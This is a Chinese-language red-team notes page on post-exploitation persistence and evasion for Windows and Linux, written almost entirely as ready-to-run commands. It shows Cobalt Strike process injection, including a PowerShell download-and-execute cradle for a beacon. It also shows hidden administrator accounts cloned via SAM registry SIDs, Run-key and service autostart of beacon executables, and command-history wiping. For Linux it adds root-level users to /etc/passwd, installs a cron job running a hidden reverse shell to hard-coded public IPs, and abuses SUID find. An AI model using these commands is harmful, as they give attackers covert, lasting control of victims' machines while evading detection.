windows 进程迁移 进程迁移(也叫进程注入)是说当一个程序运行时本身没有一个独立的进程,而是通过相关技术把功能注入到某一个正在运行的进程当中,使运行的程序在进程列表当中无法查看到,这样就起到了利用已存在的进程来隐藏自身进程的作用,并且在权限维持的角度而言也起到了一定的作用。
进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。
所以说 “进程迁移” 的目的是为了 “隐蔽” 自身,不被发现,从而实现 “权限维持”。
进程迁移常用于 windows server 版本,因为其通常不容易重启,PC 机则不常用。
注入的进程通常是 explorer.exe ( 资源管理器 ),或者是其他会一直存在的进程如 web 服务器等。
进程注入可以分为 2 种形式:
DLL 注入
shellcode 注入
这两种方式没有本质上的区别,在操作系统层面,dll 也是 shellcode 汇编代码。为了开发方便,白帽子常常会将代码以 dll 的形式编译并传播,在实际注入的时候,由注入方或者被注入方调用 loadlibrary 加载。
CobaltStrike 中的进程迁移:
名词说明:Post-Exploitation Jobs ( Process Execution + Remote Process Injection )( 进程执行 + 远程进程注入)
CobaltStrike 在一些地方产生进程注入的行为。例如它通过 spawn 和 migrate 迁移到一个新的进程。虽然这些是攻击链的重要组成部分,但这些行为都可以由使用者通过 Artifact Kit、Applet Kit 和 Resource Kit 自行控制。这 3 个的具体介绍:
Cobalt Strike 的许多 Post-Exploitation Jobs 行为都产生了一个临时过程,将特定的 DLL 注入到该进程,并通过命名管道获取结果。这是进程注入的一个特例。在这些情况下,我们控制临时过程。我们知道这个过程除了我们的进攻行为之外没有任何目的。这使我们可以做更积极的事情。例如,我们可以接管这些临时进程的主线程,而不必担心将其归还。这是在 Cobalt Strike 中配置进程注入时要记住的一个重要细节。
在 Malleable C2 profile 文件,使用者可以通过配置从而控制 CobaltStirke 中进程注入的一些细节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 process-inject { # set remote memory allocation technique # 设置远程内存分配的技术类型 # 补充说明:NtMapViewOfSection 是一个 ring3 层的未公开函数 set allocator "NtMapViewOfSection"; # shape the content and properties of what we will inject # 塑造我们将注入的内容和属性 set min_alloc "16384"; set userwx "false"; transform-x86 { prepend "\x90"; } transform-x64 { prepend "\x90"; } # specify how we execute code in the remote process # 指定我们如何在远程进程中执行代码 execute { CreateThread "ntdll!RtlUserThreadStart"; #RtlUserThreadStart 函数是线程真正开始执行的地方 CreateThread; NtQueueApcThread-s; CreateRemoteThread; RtlCreateUserThread; } }
进程注入的步骤:
Open a handle to the remote process 打开远程进程的句柄
Allocate memory in the remote process 在远程进程中分配内存
Copy the injected data to the remote process 将注入的数据复制到远程进程
Ask the remote process to execute our injected code 让远程进程执行我们注入的代码
CobaltStrike 中进程注入的使用:
命令行查找:
1 shell tasklist /fi "IMAGENAME eq explorer.exe"
通过 CobaltStrike 的进程列表:
使用 inject 注入进程:
1 2 3 beacon> help inject Use: inject [pid] <x86|x64> [listener] Open the process and inject shellcode for the listener
注入进程:
成功上线:
psinject 注入进程:
psinject 是 cs4.0+版本才出现的,使用的是 one-liner payload 注入进程它向特定进程中注入非托管 PowerShell 并通过其执行指定的命令对于 psinject,x64 进程可以注入 x86/x64 的 payload,x86 进程只能注入 x86 。
1 2 3 4 5 beacon > help psinject Use : psinject [pid] [arch] [commandlet] [arguments] Inject Unmanaged PowerShell into a specific process and execute the specified command . Any cmdlets from the last use of powershell-import are available here too .
1 2 psinject [pid] [arch] [commandlet] [arguments] 进程 PID 架构位数 命令集 参数
使用 生成一个 powershell 的 payload,然后使用 psinject 去实现注入执行:
1 2 3 4 psinject 2068 x 64 powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.142.144:8000/beacon.ps1'))" psinject 2068 x 64 powershell -nop -exec bypass -EncodedCommand IElFWCAoKG5 ldy1 vYmplY3 QgbmV0 LndlYmNsaWVudCkuZG93 bmxvYWRzdHJpbmcoJ2 h0 dHA6 Ly8 x OTIuMTY4 LjE0 Mi4 xNDQ6 ODAwMC9 iZWFjb24 ucHMxJykpCg= =
shinject 的使用:
1 2 3 beacon> help shinject Use: shinject [pid] <x86|x64> [/path/to /my.bin] Open the process and inject shellcode into it
1 shinject 进程 PID 架构位数 shellcode.bin 文件的本地路径
1 shinject 2068 x64 C :\Users\Administrator\Desktop\beacon.dll
BOFs 进程注入:
https://github.com/leftp/BOFs
1 git clone https ://github.com/leftp/BOFs
CobaltStrike 导入 syscalls_shinject 和 syscalls_inject 的 cna 插件就行了。
使用方法:
1 2 syscalls_shinject 1432 C:\Users\Administrator\Desktop\beacon.dllstatic_syscalls_inject 1432 http
隐蔽账户 远程登录是单个的,一个用户一个,本地用户正在使用,我们远程连接时候对方就会锁屏,所以还是需要创建新用户。
但是创建新用户也很出现一个问题,连接后就有连接记录了:
用户名后添加 $ 符号表示创建隐藏账号:
1 2 3 4 5 6 7 8 9 10 net user admin$ QWEasd@123 /add && net localgroup administrators admin$ /add# 域用户 net user admin$ QWEasd@123 /add /domain && net localgroup administrators admin$ /add net group "Domain Admins" username /add /domain net localgroup administrators /add <DOMAIN>\<USERNAME>
开启远程桌面:
1 2 3 4 5 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f netstat -an|find "3389"
开启防火墙:
1 netsh advfirewall firewall add rule name ="Remote Desktop" protocol =TCP dir =in localport =3389 action =allow
添加用户到远程桌面组:
1 2 3 4 # 添加用户到远程登陆组 net localgroup "Remote Desktop Users" admin$ /add# 查看 net localgroup "Remote Desktop Users"
全部整理为一行:
1 net user admin$ QWEasd@123 /add && net localgroup administrators admin$ /add && net localgroup "Remote Desktop Users" admin$ /add && net localgroup "Remote Desktop Users" && netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir =in localport=3389 action=allow || wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME% ' call SetAllowTSConnections 1 || reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
创建后使用 net user 是无法看到的:
但是这种情况下,用户注销之后在登录界面是可以看到有这个账户的登录的。
对于这种情况可以做进一步的隐藏,具体步骤:
添加用户
导出注册表
删除用户
导入注册表
修改注册表
导出注册表
1 HKEY_LOCAL_MACHINE\SAM\SAM
默认应该是空的,所以需要添加权限( 我们自己就可以添加 ),点击 SSM 右键权限:
1 Domains\Account\Users\Names
右键导出 Names 下的 admin$ 和其类型对应的 000003E8 文件夹的 reg( 桌面是不互通的 ) :
删除用户
这个时候注册表就没有了。
导入注册表
运行刚才导入的两个 reg 文件。
修改注册表
找到 administrator 用户的 SID 复制下来替换我们的 admin$ 的 SID
这个时候登录界面的 admin$ 就消失了,我们可以直接通过远程桌面进行登录。
远程登录后会直接进入到 administrator 用户的界面,注意默认情况下,可能只运行一个远程连接,你连接进去可能就是别人正在操作。
注册表自启动 注册表相当于Windows下的一个庞大的层次性数据库. 基本上有着系统所有的配置信息 注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着wi ndows 的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系 统中起着核心作用。
注册表的构成:
根键:这个称为HKEY…………,某一项的句柄项:附加的文件夹和一个或多个值
子项:在某一个项(父项)下面出现的项(子项)
值项:带有一个名称和一个值的有序值,每个项都可包括任何数量的值项,值项由三个部分组成:名称、数据类型和数据。
注册表的五大跟键:
HKEY_USERS:保存了存放在本地计算机口令列表中的用户标识和密码列表
HKEY_CURRENT_USER:该根键包含了本地工作站中存放的当前登录的用户信息
HKEY_CURRENT_CONFIG:该根键存放着当前用户桌面配置的数据
HKEY_CLASSES_ROOT:该根键根据windows操作系统中所安装的应用程序的扩展名,来指定文件类型
HKEY_LOCAL_MACHINE:该根键存放本地计算机的硬件信息
启动注册表:regedit
注册表自启动的实现原理:
windows 提供了专门的开机自启动注册表。在每次开机完成后,它都会在这个注册表键下遍历键值,以获取键值中的程序路径,并创建进程启动程序。所以,只需要在这个注册表键下添加想要设置自启动程序的路径就可以了。
1 2 3 4 # 当前用户即可 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run # 需要有管理员权限 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
右键添加一个字符串值,值就是要启动的木马文件:
使用命令添加:
1 2 3 4 5 6 # reg add KeyName /v ValueName /t Type /d Data /f # reg add 键名 /v 值项名 /t 值项类型 /d 值项数据 /f(强制,不显示选项) reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v testReg1 /t REG_SZ /d "C:\Users\Administrator\Desktop\beacon_64.exe" /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v testReg2 /t REG_SZ /d "C:\Users\Administrator\Desktop\beacon_64.exe" /f # 删除 reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v testReg1 /f
服务自启动 服务是一种应用程序类型,它在后台运行。服务应用程序通常可以在本地和通过网络为用户提供一些功能,例如客户端/服务器应用程序、Web 服务器、数据库服务器以及其他基于服务器的应用程序。
启动服务命令:services.msc
想要操作服务需要有管理员权限,在服务启动后会以本地系统权限(system)执行。
如果帐户具有本地管理员特权,则可以从命令提示符创建服务。参数“ binpath ”用于执行任意有效负载,而参数“ auto ”用于确保恶意服务将自动启动。
使用 sc 创建服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 # 创建服务 sc create "scAutoRunTest" binpath= "cmd /c start /b C:\Users\Public\scAutoRunTest.exe" # 设置对服务的描述 sc description "scAutoRunTest" "scAutoRunTest" # 设置这个服务为自动启动 sc config "scAutoRunTest" start =auto # 启动服务net start "scAutoRunTest" sc start "scAutoRunTest" # 查询服务 sc qc scAutoRunTest # 删除服务 sc delete scAutoRunTest
1 sc create "scAutoRunTest" binpath= "cmd /c start /b C:\Users\Administrator\Desktop\beacon_64.exe"&&sc description "scAutoRunTest" "scAutoRunTest"&&sc config "scAutoRunTest" start =auto&&sc start "scAutoRunTest"
使用 powershell 创建服务:
1 2 3 4 5 6 7 8 powershell.exe New-Service -Name "scAutoRunTest" -BinaryPathName 'cmd /c start /b C:\Users\Administrator\Desktop\beacon_64.exe' -Description "scAutoRunTest" -StartupType Automatic powershell.exe Get-Service -DisplayName "scAutoRunTest" sc start "scAutoRunTest" powershell.exe Remove-Service -name "scAutoRunTest"
SharPersist 创建系统服务( Cobalt Strike 中的 )=> 没复现成功:
SharPersist 支持在系统中创建新服务的持久性技术。在系统上安装新服务需要本地管理员的访问权限,该服务将在 Windows 启动后以本地系统执行。
1 2 3 4 5 6 # 添加 SC 服务 execute-assembly C:\Users\Administrator\Desktop\artifact.exe -t service -c "C:\Windows\System32\cmd .exe" -a "/c C:\Users\Public\scAutoRunTest.exe" -n "scAutoRunTest" -m add # 查询 SC 服务 execute-assembly /root/SharPersist.exe -t service -m list -n "scAutoRunTest" # 删除 SC 服务 execute-assembly /root/SharPersist.exe -t service -n "scAutoRunTest" -m remove
linux 隐蔽操作 进入 linux 系统第一步,设置不记录系统命令:
1 2 3 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 nohup command >/dev/null 2>&1 &
SSH 连接隐身:
1 ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i
清除当前历史记录:
1 2 3 4 5 # 清楚当前会话的命令历史记录 history -r# 或者 不给当前的shell留时间去处理,内存的命令也没时间写入到文件 kill -9 $$
添加用户
tommy
QWEasd@123
1 2 3 4 5 6 7 8 9 10 echo "tommy:x:0:0::/:/bin/bash" >> /etc/passwd echo "tommy:x:0:0:root:/root:/bin/bash" >> /etc/passwd echo "QWEasd@123" | passwd --stdin tommy echo -e "QWEasd@123\nQWEasd@123" | passwd tommy echo "tommy:x:0:0::/:/bin/bash" >> /etc/passwd && echo -e "QWEasd@123\nQWEasd@123" | passwd tommy useradd -p `openssl passwd -1 -salt 'salt' QWEasd@123` tommy -o -u 0 -g root -G root -s /bin/bash -d /home/tommy
计划任务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 反弹 shell 脚本 vim /etc/.bshell.sh # !/bin/bash /bin/bash -i >& /dev/tcp/45.32.179.170/3333 0>&1# !/bin/bash if ! ps aux | grep -q "[s]liver"; then /usr/bin/sliver fi chmod +x /etc/.bshell.sh vim /etc/crontab echo "*/10 * * * * root /etc/.bshell.sh" >> /etc/crontab
1 2 #!/bin/bash /bin/bash -i >& /dev/tcp/136.244.76.249/443 0>&1
SUID 原理就是 SUID 提权,给 find 或其他命令加权限
1 2 3 chmod +s /usr/bin/find find /etc/passwd -exec "command" \;